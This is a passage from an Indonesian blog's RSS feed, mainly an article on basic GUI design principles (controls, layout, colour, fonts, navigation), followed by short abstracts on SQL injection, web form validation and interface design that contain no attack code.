<td>Tampilan khas dari Command Button adalah berupa tombol segi empat. Ketika tombol dipilih maka akan mengeksekusi perintah-printah yang ada didalamnya.</td>
</tr>
<tr>
<td>Check Box</td>
<td><img class="alignnone size-full wp-image-101" title="toolbox_checkbox" src="http://www.andisun.com/wp-content/uploads/2009/07/toolbox_checkbox.jpg" alt="toolbox_checkbox" width="23" height="26" /></td>
<td>Salah satu bentuk pilihan yang kecil dimana user dapat memilih lebih dari satu pilihan. Yang menandakan pilihan terhadap suatu kondisi yaitu on or off, true or false, yes or no. Ketika di tampilkan dalam sebuah group, Check Box akan bekerja sendiri secara independen. Pengguna dapat memilih beberapa pilihan dalam satu waktu.</td>
</tr>
<tr>
<td>Option Button</td>
<td><img class="alignnone size-full wp-image-102" title="toolbox_optionbutton" src="http://www.andisun.com/wp-content/uploads/2009/07/toolbox_optionbutton.jpg" alt="toolbox_optionbutton" width="25" height="25" /></td>
<td>Option Button berbentuk pilihan option dimana pengguna hanya di perbolehkan memilih satu. Option Button harus bekerja pada bagian grup, jika kita memilih salah satu option maka yang lainnya akan bersih dari pilihan.</td>
</tr>
<tr>
<td>List Box</td>
<td><img class="alignnone size-full wp-image-103" title="toolbox_listbox" src="http://www.andisun.com/wp-content/uploads/2009/07/toolbox_listbox.jpg" alt="toolbox_listbox" width="25" height="25" /></td>
<td>Bebentuk list yang dapat di pilih dan di scroll. Khasnya, daftar list yang di pilih akan di tamilka pada tampilan vertical dikolom tunggal, meskipun semua list pilihan dapat diguakan semua. Jika yang terpilih melewati jumlah yang di tampilkan maka akan kelua scroll bar. Untuk melihat isi dari pilihan semua kita juga bisa menggunakan drop down. Kita juga bisa memilih lebih dari satu pilihan dengan menggunakan tombol Control yang menandakan pilihan lebih dari satu.</td>
</tr>
<tr>
<td>Combo Box</td>
<td><img class="alignnone size-full wp-image-104" title="toolbox_combobox" src="http://www.andisun.com/wp-content/uploads/2009/07/toolbox_combobox.jpg" alt="toolbox_combobox" width="23" height="27" /></td>
<td>A scrollable list of choices along with a text edit field. Iden- tical to a list box, except the user can either type information in the text box or choose the item from the list.</p>
<p>Pilihan yang berbentuk scroll yang dapat diedit. Penggguna dapat memilih yang sudah disediakan dan mengisikan data baru jika belum ada, tetapi identitas index tetap memakai data yang lama.</td>
</tr>
<tr>
<td>Slider Control</td>
<td><img class="alignnone size-full wp-image-105" title="toolbox_slidercontrol" src="http://www.andisun.com/wp-content/uploads/2009/07/toolbox_slidercontrol.jpg" alt="toolbox_slidercontrol" width="23" height="23" /></td>
<td>Bebentuk range yang mengindikasikan posisi ukuran. Control ini biasnya digunakan untuk input kontrol volume atau pengaturan warna pada gambar.</td>
</tr>
<tr>
<td>Progress Editor</td>
<td><img class="alignnone size-full wp-image-106" title="toolbox_progressindicator" src="http://www.andisun.com/wp-content/uploads/2009/07/toolbox_progressindicator.jpg" alt="toolbox_progressindicator" width="27" height="21" /></td>
<td>Menampilkan prosentase suatu proses. Kontrol ini berguna untuk indicator suatu performa program aplikasi. Selain prosentase proses juga bisa digunakan untuk menampilkan berapa waktu sebuah poses akan selesai.</td>
</tr>
</tbody>
</table>
<p>Ketika kontrol-kontrol tersebut dipakai bisanya pemakai menyukai setting default.</p>
<p><strong>Komposisi<br />
Peletakan Kontrol</strong><br />
Dalam desain antar muka, tidak semua elemen (komponen) digunakan. Pengembang perangkat lunak harus tahu mana yang harus digunakan dan dapat dimengerti oleh user dengan cepat. Tidak semua elemen harus ditampilkan dengan jelas, bahkan ada beberapa elemen yang harus di sembunyikan.<br />
Sejumlah bahasa membcaa dari kiri ke kanan atau dari atas ke bawah pada sebuah halaman. Itu sama dengan tampilan pada layar komputer. Mata pemakai mengarah dimulai dari kiri atas dari posisi layar, jadi elemen yag penting bisa diletakkan di sana. Sebagai contoh, jika informasi ada sebuah informasi berhubungan dengan seorang pelanggan, maka namanya akan ditampilkan dimana ia akan dilihat pertama. Tombol, seperti OK atau Next akan ditempatkan di sebelah kanan bawah pada layar, sebab pemakai yang normal tidak akan membutuhkan tombol ini sampai mereka mengakhiri pekerjaannya dengan form tersebut.<br />
Penggabungan elemen dan kontrol juga penting. Informasi harus dikelompokkan selama mereka masih berhubungan. Sebagai contoh, karena fungsi mereka terhubung, tombol untuk menunjukkan sebuah database akan di kelompokkan bersama tampilannya. Itu lebih baik dari pada tersebar seluruhnya pada form.  Informasi nama, alamat biasanya dikelompokkan bersama. Dalam hal lain relasi antar kontrol bisa direlasikan dengan frame.<br />
Secara default, jika akan memindah dari kontrol area yang satu dengan yang lain memakai tombol TAB. Tapi pengguna juga sering menggunakan tombol Enter untuk pindah antar area. Kebutuhan semacam ini harus dapat di akomodir oleh pengembang perangkat lunak.</p>
<p><strong>Konsistensi Desain Antar Muka<br />
</strong>Konsistensi adalah hal yang terbaik dalam mendesain antar muka, konsistensi membuat pogram terlihat hamonis dalam suatu program aplikasi. Ketidak konsistenan membuat antar muka menjadi membingungkan dan membuat aplikasi kacau, tak terorganisir, murah dan mungkin menyebabkan user menyangsikan kepercayaan pada aplikasi tersebut.<br />
Untuk konsistensi secara visual, pengembang software harus menyusun strategi bentuk sebelumnya dalam suatu program aplikasi. Desain tiap element, seperti control, standar ukuran dan kelompok kontrol, pemilihan jenis huruf (font) harus direncanakan terlebih dulu. Prototipe jalannya program sangat membantu memutuskan desain yang dipakai, konsistensi, sehinga pengembang tidak bingung.</p>
<ol>
<li><strong>Tipe Kontrol</strong>, karena banyaknya macam kontrol yang bisa kita pakai dalam mendesain program aplikasi saat ini, dan semua sudah disediakan dalam tool bahasa pemrograman.</li>
<li><strong>Setting Properti</strong>, konsistensi pada setting kontrol juga sangat penting. Sebagai contoh, jika kita membuat background dengan warna putih, maka lainnya harus meyesuaikan juga.</li>
<li><strong>Tipe Form</strong>, konsistensi antar form suatu program aplikasi sangat penting digunakan. Akan tidak terhubung jika kita mengunakan background efek dua dimensi, sedangkan form lainnya memakai efek tiga dimensi.</li>
</ol>
<p><strong>Penekanan Pada Kontrrol Tertentu<br />
</strong>Penekanan pada komponen visual tentang fungsi dari kontrol. Penekanan pada semua kontrol seperti tombol yang dibuat dengan warna menyala akan mengurangi keindahan sebuah desain antar muka. Tapi sebuah keharusan untuk memberikan penekanan tertentu pada suatu kontrol. Misalnya, efek tiga dimensi pada sebuah tombol menunjukkan penguna bahwa itu dapat ditekan. Jika tombol dibuat datar, maka terkesan tidak bisa diklik, tapi dalam aplikasi tertentu tepat jika kita menggunakan tombol datar, seperti dalam aplikasi yang berbasis multimedia. Contoh lain adalah kontrol text box. Text Box biasaya terdiri dari border dan latar belakang putih yang akan berisi tek yang dapat diedit.<br />
Penggunaan Spasi dalam kontrol tertentu juga dapat menekankan pada sebuah elemen. Konsistensi spasi dan perataan (Aligment) akan membuat aplikasi lebih berguna. Sebagai perbandingan kita akan merasa enak membaca majalah dengan terbagi atas beberapa kolom dan dipisahkan dengan spasi akan mudah untuk dibaca seperti halnya pada desain sebuah aplikasi.</p>
<p><strong>Menyederhanakan Desain</strong><br />
Mugkin yang paling penting dalam desain adalah kesederhaan desain. Jika antar muka sebuah aplikasi terihat susah, aplikasi itu juga mungkin akan sulit untuk digunakan. Point yang penting dalam kesederhanaan adalah mudah, enak dilihat dan bersih.<br />
Jika sudah tersedia dalam bentuk form hard copy lebih baik kita meniru bentuk dedsain tersebut dalam desain antar muka kita. Tapi nantinya masih ada permasaahan lain, misalnya: bedanya dimensi antar form komputer dengan kertas, keterbatasan (panjang) form dalam konputer. Permasalahn diatas dapat di kurangi dengan:</p>
<ol>
<li>Mengurangi bermacam variasi bentuk Shape pada sebuah desain form.</li>
<li>Mengurangi perbedaaan desain antar form yang satu dengan yang lain.</li>
<li>Ingat bahwa pengguna aplikasi bukan kita, buat desain se-familiar mungkin</li>
</ol>
<p>Pendekatan terbaik dalam mendesain sebuah antar muka aplikasi, mungkin meyamakan dengan bentuk asli form yang sudah ada. Usahakan user tidak terlalu banyak menggunakan scrollbar untuk mencapai keinginannya memperoleh sebuah nilai. Hal tersebut bisa menggunakan:</p>
<ol>
<li>List box, spin button dapat mengurangi beban penguna, selain diberi fasilitas untuk menganti nilai  melalui keyboard.</li>
<li>Sediakan bentuk default agar penguna bisa menggunakan aplikasi anda dengan setting baru setiap menjalankan aplikasi.</li>
<li>Gunakan wizard untuk memudahkan pengguna.</li>
</ol>
<p>Tes desain anda pada orang lain, jika mereka masih lama dalam memahami desain anda lakukan desain ulang aplkikasi anda.</p>
<p><strong>Warna dan Gambar</strong><br />
Pengunaan warna dalam antar muka kita dapat menambah efect visual, tapi jangan berlebih dalam menggunakannya.  Dengan kemampuan VGA sekarang dapat menampilkan milyaran warna, dan tidak mungkin semuanya digunakan. Warna sama pentingnya dengan dasar desain, akan menimbulkan masalah jika tidak digunakan secara tepat.<br />
Kecocokan warna dan variasi warna antara pengembang dan pengguna mungkin berbeda. Warna dapat membangkitkan emosi, dan warna mempunyai arti tertenu pada suatu kebudayaan. Dan biasanya agar bisa diterima gunakan warna yang lembut, netral, atau yang sudah sering digunakan diperangkat lunak lainnya.<br />
Pemilihan warna mempengaruhi maksud dari pengguna, kadang warna dalam desain mencerminkan keinginan atau kadaan emosi dari pembuat antar muka pada saat itu. Sebagai contoh perpaduan warna merah terang, hijau dan kuning diperuntukkan untuk aplikasi dengan pengguna anak-anak.<br />
Sedikit warna cerah efektif berguna untuk menekankan atau menentukan area yang dianggap penting. Bagaimanapun juga jumlah warna dalam sebuah aplikasi harus dibatasi, pemakaian warna haruslah konsisten. Jika memungkinkan gunakan standart 16 warna, karena jika menggunakan diatas 16 warna sedangkan user memakai setting VGA 16 warna maka warna diatas 16 akan rusak.<br />
Sebagai pertimbangan lain, pertimbangkan user yang buta warna. Banyak orang tidak mampu mmengatakan perbedaan antara kombinasi warna dasar seperti warna dasar merah dan hijau. Untuk orang yang kondisi seperti ini warna merah teks dalam bakground hijau akan tidak terlihat.</p>
<p><strong>Gambar dan Icon</strong><br />
Penggunaan gambar dan icon dalam aplikasi menambah menarik secara visual, tapi berhati-hati dalam mendesain adalah hal yang utama. Gambar dapat menyampaikan informasi yang efisien tanpa harus menuliskan text, tapi beda orang menerjemahkan gambar bisa juga berbeda.<br />
Toolbar dengan icon mengambar macam-macam fungsi yang digunakan sebagai media interaksi dengan pengguna, tapi user dapat membaca fungsi icon dengan melihat gambar icon. Ketika mendesain gunakan standar icon yang sudah biasa dipakai dalam aplikasi. Sebagai contoh orang akan mencetak dokumen mereka berarti dia akan memilih icon yang bergambar printer. Meskipun anda membuat icon yang lebih baik, fungsi dasar pada icon tersebut harus tetap disertakan agar tidak membingungkan pengguna.<br />
Juga sangat penting mempertimbangkan arti sebuah gambar. Misalnya untuk menggambarkan bahasa yang akan dipakai digambarkan bendera Inggris untuk Bahasa Inggris dan Bendera Perancis untuk mengambarkan Bahasa Perancis.<br />
Ketika mendedsain icon atau gambar, buatlah  icon atau gambar sederhana, Jika menggunakan warna yang komplek akan menurunkan keindahan jika di set pada 16 bit. Sebalikny jika kita menggunakan warna 16 bit, maka jika diset lain yang lebih tinggi maka akan lebih baik gambarnya.</p>
<p><strong>Jenis Huruf (Font)</strong><br />
Karena text sering digunakan untuk komunikasi infomasi, pemilihan jenis huruf yang mudah dibaca dalam resolusi yang berbeda dan berbeda tipe tampilan adalah hal penting dalam mendesain antar muka. Jika memungkinkan gunakan font yang simpel. Pemilihan font yang bagus saat ditampilkan di layar belum belum tentu enak dibaca dalam pint out, apalagi jika fontnnya terlalu kecil.<br />
Biasanya, font standar windows seperti Arial, Time New Roman, atau font yang disediakan oleh system. Jika pengembang software mengunakan font yang tidak terdapat pada syetem tempat dia menempatkan aplikasi maka system akan menganti dengan font lain.<br />
Ketika kita mendedsain sebuah aplikasi yang menggunakn adalah orang-orang sedunia. Sangat penting kita mnyelidiki font apa yang disukai dan yang mungkin terdapat pada system mereka. Yang harus deperhatkan juga adalah mempertimbangkan text yang dipakai, gunakan kata-kata yang sudah biasa digunakan. Antar form maupun satu form sangat penting mempertimbangkan konsistensi pemilihan jenis huruf yang akan digunakan. Pada kasus tertentu tidak lebih dari dua jenis huruf dalam dua atau tiga ukuran pada suatu aplikasi.</p>
<p><strong>Bagaimanakan Antar Muka yang Bagus itu ?</strong><br />
Suatu aplikasi harus dirumuskan dulu tujuan pembuatan aplikasi karena suatu progrm aplikasi bisanya digunakan untuk menyelesaikan masalah. Antar muka merupakan proses interaktif.<br />
Yang paling bagus ketika kita akan mendesain sebuah aplikasi adalah melihat referensi aplikasi yang menjadi best-selling. Mereka malakukan reset, usaha, dan mengeluarkan sumber dana yang tidak sedikit untuk membuat aplikasinya berguna. Mereka banyak menggunkan perintah, tollbar, status bar, ToolTips, sentisitive menu, tab dialog box.<br />
Tim yang memilki pegalaman desain selalu melakukan tes kepada user yang berpengalamn maupun yang belum untuk melihat apakah aplikasi mereka mudah untuk digunakan. Minta saran kepada mereka sangat penting untuk merubah desain jika kurang familiar.<br />
Sebagai tambahan, banyak aplikasi menyediakan pilihan untuk mengakomodasi bermacam-macam pengguna. Misalnya Windows Explorer meyediakan pilihan user yag akan mengkopi file dengan menu, keyboard, atau fungsi drag drop. Penyediaan pilihan dalam aplikasi minimal fungsi dapat dilakukan melalui keyboard dan mouse.</p>
<p><strong>Pedoman Antar Muka Berbasis Windows</strong><br />
Yang menjadi keunggulan dari sistem operasi windows adalah sistem menyediakan perintah interface dalam bayak aplikasinya adalah sama. Pengguna dapat belajar dalam satu basis windows yang lainnya akan mudah untuk dipelajari, karena antar mukanya sama.<br />
Menu adalah contoh yang bagus untuk menunjukkan perintar antar muka. Dalam aplikasi berbasis windows memiliki standar bahwa menu File terletak sebelah kiri dari menu bar dan menu help selalu paling kanan, dan menu opsional lainnya seperti Edit Toll diantaranya. Merubah hal yang sudah menjadi stanadar akan mengakibatkan user akan menjadi bingung dan akan menurunkan keunggulan aplikasi tersebut.<br />
Penempatan perintah juga sangat penting. Sebagai contoh, pengguna ingin menggunakan perintah Copy, Cut, Paste on Edit menu. Memindah ke tempat lain akan menyebabkan pengguna bingung.<br />
Satu kunci konsep pendayagunaan dalam percoabaan adalah penemuan. Jika pengguna tidak dapat menemukan keunggulannya. Penguna harus tahu ketika mereka akan menggerjakan sesuatu maka ia harus tau  dengan hanya melihat aplikasi. Contoh mereka harus tahu jika akan membuka form, menetup form dan lain-lain.<br />
Untuk mengetes pengguna, tim meminta penguna menjalankan aplikasi tanpa diberi tahu sebelumnya. Jika mereka dapat menggunakan aplikasi dengan baik tanpa banyak bertanya, berarti apliakasi itu bagus dan sebaliknya jika user tidak tahu maka tim penegmbang harus bekerja keras untuk merevisi programnya.</p>
<p><strong>Navigasi</strong><br />
Hampir semua pengguna komputer sudah familiar dengan sistem menu sebagai navigasi. Pengunaan elemen menu antarmuka sangat penting. Pengembang biasanya menggunakan ,memu standar windows, karena user sudah terbiasa dan familiar menggunakan standar menu windows. Dengan penambahan skrip pada browser. Aplikasi berbasis web dapat memakai sistem menu window seperti sistem menu aplikasi pemrograman klasik.  Sebagai tambahan link form pada aplikasi klasik di dalam web berubah menjadi link antar file. Dan sekali lagi kesederhaan dan konsistensi dalam mendesain sebuah aplikasi adalah poin yang bagus dalm navigasi sistem.</p>
<p><strong>Panduan Untuk Penguna</strong><br />
Bagaimanapun bagusnya sebuah antar muka haus juga dipenuhi panduan untuk pengguna, karena pegguna wewaktu-waktu membutuhkan hal tersebut. Entuk bantuan adalah berupa file help atau file HTML yang desertakan dalam aplikasi dan siap diprint untuk dokumentasi. Bentuk bantuan harus di desain sebelum aplikasi dibuat deploy, seperti bagian lain dari program.</p>
<p><strong>Kesimpulan<br />
</strong>Prinsip utama dalam mendesain sebuah program adalah bagaimana kita bisa memilih elemen sesuai fungsinya, memilih kombinasi warna, meletakkan elemen dengan mudah dan navigasi program yang baik. Tes program aplikasi  langsung kepada penguna tanpa harus memberitahu dulu. Jika mereka bisa menemukan bagaimana cara menggunakan program aplikasi anda berarti program anda sudah layak.</p>
<p><strong>Daftar Pustaka</strong></p>
<ol>
<li>Vaughan, William R, 1998, Hitchhikers Guide to Visual Basic and SQL Server Sixth Edition, Microsoft Press, United State of America.</li>
<li>Freeze, Wayne, 2000, Visual Basic 6 Database Programming Bible, Microsoft Press, Indinapolis, New York, United State of America.</li>
<li>Tim, Microsoft, 1999, Analyzing Requerements and Defining Solution Architectures, Microsoft Press, United State of America.</li>
<li><a href="http://www.microsoft.com/">www.microsoft.com</a> (Microsoft Developer Network / MSDN)</li>
</ol>
]]></content:encoded>
			<wfw:commentRss>http://www.andisun.com/jurnal/basic-mendesain-graphical-user-interface-gui/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Abstraksi: Metode Penyerangan Web Site Menggunakan SQL Injection</title>
		<link>http://www.andisun.com/jurnal/metode-penyerangan-web-site-menggunakan-sql-injection</link>
		<comments>http://www.andisun.com/jurnal/metode-penyerangan-web-site-menggunakan-sql-injection#comments</comments>
		<pubDate>Tue, 30 Jun 2009 06:53:57 +0000</pubDate>
		<dc:creator>myandisun</dc:creator>
				<category><![CDATA[Jurnal]]></category>
		<category><![CDATA[ASP]]></category>
		<category><![CDATA[CGI]]></category>
		<category><![CDATA[Form]]></category>
		<category><![CDATA[Injection]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Query]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://www.andisun.com/?p=15</guid>
		<description><![CDATA[Ketika mesin server hanya port 80 yang dibuka, kita mempunyai keyakinan bahwa tidak akan menghasilkan sesuatu yang bermanfaat yang dapat digunakan untuk menyerang, admin juga beranggapan hanya degan mem-patch servernya dianggap aman. Jika anggapan itu terus dipakai berarti kita “menekan tombol” untuk membuka hacker masuk.
SQL Injection adalah salah satu tipe meng-hack yang hanya membutuhkan port 80 dan tidak memerlukan port lain. SQL injection akan menyerang aplikasi web yang berbasiskan side-server scripting seperti ASP, JSP, PHP, CGI, dan yang mirip dengan itu. Pada artikel ini kita tidak akan membahas hal yang paling baru tentang SQL Injection, karena motode dan trik SQL Injection terus berkembang.
Sebelum anda membaca lebih lanjut, anda harus mnegetahui terlebih dahulu bagaimana database bekerja dan bagaimana SQL digunakan untuk mengaksesnya.]]></description>
			<content:encoded><![CDATA[<p>Oleh: Andi Sunyoto</p>
<p><strong>Abstraksi:<br />
</strong></p>
<p>Ketika mesin server hanya port 80 yang dibuka, kita mempunyai keyakinan bahwa tidak akan menghasilkan sesuatu yang bermanfaat yang dapat digunakan untuk menyerang, admin juga beranggapan hanya degan mem-patch servernya dianggap aman. Jika anggapan itu terus dipakai berarti kita “menekan tombol” untuk membuka hacker masuk.<br />
SQL Injection adalah salah satu tipe meng-hack yang hanya membutuhkan port 80 dan tidak memerlukan port lain. SQL injection akan menyerang aplikasi web yang berbasiskan side-server scripting seperti ASP, JSP, PHP, CGI, dan yang mirip dengan itu. Pada artikel ini kita tidak akan membahas hal yang paling baru tentang <em>SQL Injection</em>, karena motode dan trik SQL Injection terus berkembang.<br />
Sebelum anda membaca lebih lanjut, anda harus mnegetahui terlebih dahulu bagaimana database bekerja dan bagaimana SQL digunakan untuk mengaksesnya.</p>
<p><strong>Kata Kunci: </strong>SQL, Injection, Web, PHP, ASP, CGI, Form, Query</p>
<p><strong>Email:<br />
</strong>Jika menginginkan lebih lengkap email ke: myandisun@gmail.com</p>
]]></content:encoded>
			<wfw:commentRss>http://www.andisun.com/jurnal/metode-penyerangan-web-site-menggunakan-sql-injection/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Abstraksi: Konsistensi dan Validasi Data Pada Halaman Web</title>
		<link>http://www.andisun.com/jurnal/konsistensi-dan-validasi-data-pada-halaman-web</link>
		<comments>http://www.andisun.com/jurnal/konsistensi-dan-validasi-data-pada-halaman-web#comments</comments>
		<pubDate>Mon, 29 Jun 2009 06:46:50 +0000</pubDate>
		<dc:creator>myandisun</dc:creator>
				<category><![CDATA[Jurnal]]></category>
		<category><![CDATA[client]]></category>
		<category><![CDATA[Form]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[validasi]]></category>
		<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://andisun.com/?p=8</guid>
		<description><![CDATA[Oleh: Andi Sunyoto Abstraksi: Apa yang terjadi jika pada halaman form Anda ada kesalahan pemasukan data atau pengiriman berulang oleh user ke server ? Jika itu adalah masalah Anda maka validasi form adalah jawabannya. Dengan adanya validasi data yang di kirim ke server kita cek dulu kebenarannya. Kata Kunci: validasi, form, web, klient, server Email: [...]]]></description>
			<content:encoded><![CDATA[<p>Oleh: Andi Sunyoto</p>
<p><strong>Abstraksi:</strong></p>
<p>Apa yang terjadi jika pada halaman form Anda ada kesalahan pemasukan data atau pengiriman berulang oleh user ke server ? Jika itu adalah masalah Anda maka validasi form adalah jawabannya. Dengan adanya validasi data yang di kirim ke server kita cek dulu kebenarannya.</p>
<p><strong>Kata Kunci: </strong>validasi, form, web, klient, server</p>
<p><strong>Email:<br />
</strong>Jika menginginkan lebih lengkap email ke: myandisun@gmail.com</p>
]]></content:encoded>
			<wfw:commentRss>http://www.andisun.com/jurnal/konsistensi-dan-validasi-data-pada-halaman-web/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Abstraksi: Dasar Mendesain Sebuah Antar Muka</title>
		<link>http://www.andisun.com/jurnal/dasar-mendesain-sebuah-antar-muka</link>
		<comments>http://www.andisun.com/jurnal/dasar-mendesain-sebuah-antar-muka#comments</comments>
		<pubDate>Mon, 29 Jun 2009 06:40:14 +0000</pubDate>
		<dc:creator>myandisun</dc:creator>
				<category><![CDATA[Jurnal]]></category>
		<category><![CDATA[Antar muka]]></category>
		<category><![CDATA[Design]]></category>
		<category><![CDATA[Elemen]]></category>
		<category><![CDATA[Form]]></category>
		<category><![CDATA[GUI]]></category>
		<category><![CDATA[Interface]]></category>
		<category><![CDATA[Kontrol]]></category>
		<category><![CDATA[Label]]></category>
		<category><![CDATA[Navigasi]]></category>
		<category><![CDATA[TextBox]]></category>
		<category><![CDATA[User]]></category>
		<category><![CDATA[Windows]]></category>

		<guid isPermaLink="false">http://andisun.com/?p=3</guid>
		<description><![CDATA[Desain antar muka yang baik adalah salah satu hal  penting dalam menilai sebuah program aplikasi bagus atau tidak. Sebelum mendesain pilih bentuk antarmuka yang disesuaikan dengan kebutuhan pengguna.  Kesederhaan sebuah, mudah penggunaan adalah inti dari mendesain sebuah antar muka, dan hal itu dapat terwujud jika kita tepat memilih komponen (kontrol), menempatkannya dengan benar, memilih warna yang sesuai, dan membuat navigasi yang mudah.]]></description>
			<content:encoded><![CDATA[<p>Oleh : Andi Sunyoto</p>
<p><strong>Abstraksi:</strong></p>
<p>Desain antar muka yang baik adalah salah satu hal  penting dalam menilai sebuah program aplikasi bagus atau tidak. Sebelum mendesain pilih bentuk antarmuka yang disesuaikan dengan kebutuhan pengguna.  Kesederhaan sebuah, mudah penggunaan adalah inti dari mendesain sebuah antar muka, dan hal itu dapat terwujud jika kita tepat memilih komponen (kontrol), menempatkannya dengan benar, memilih warna yang sesuai, dan membuat navigasi yang mudah.</p>
<p><strong>Kata Kunci:<br />
</strong>GUI, antar muka, kontrol, desain, Sederhana, interface, penguna, user, windows, label, text box, list box, option box, form, navigasi, elemen</p>
<p><strong>Email:<br />
</strong>Jika menginginkan lebih lengkap email ke: myandisun@gmail.com</p>
]]></content:encoded>
			<wfw:commentRss>http://www.andisun.com/jurnal/dasar-mendesain-sebuah-antar-muka/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

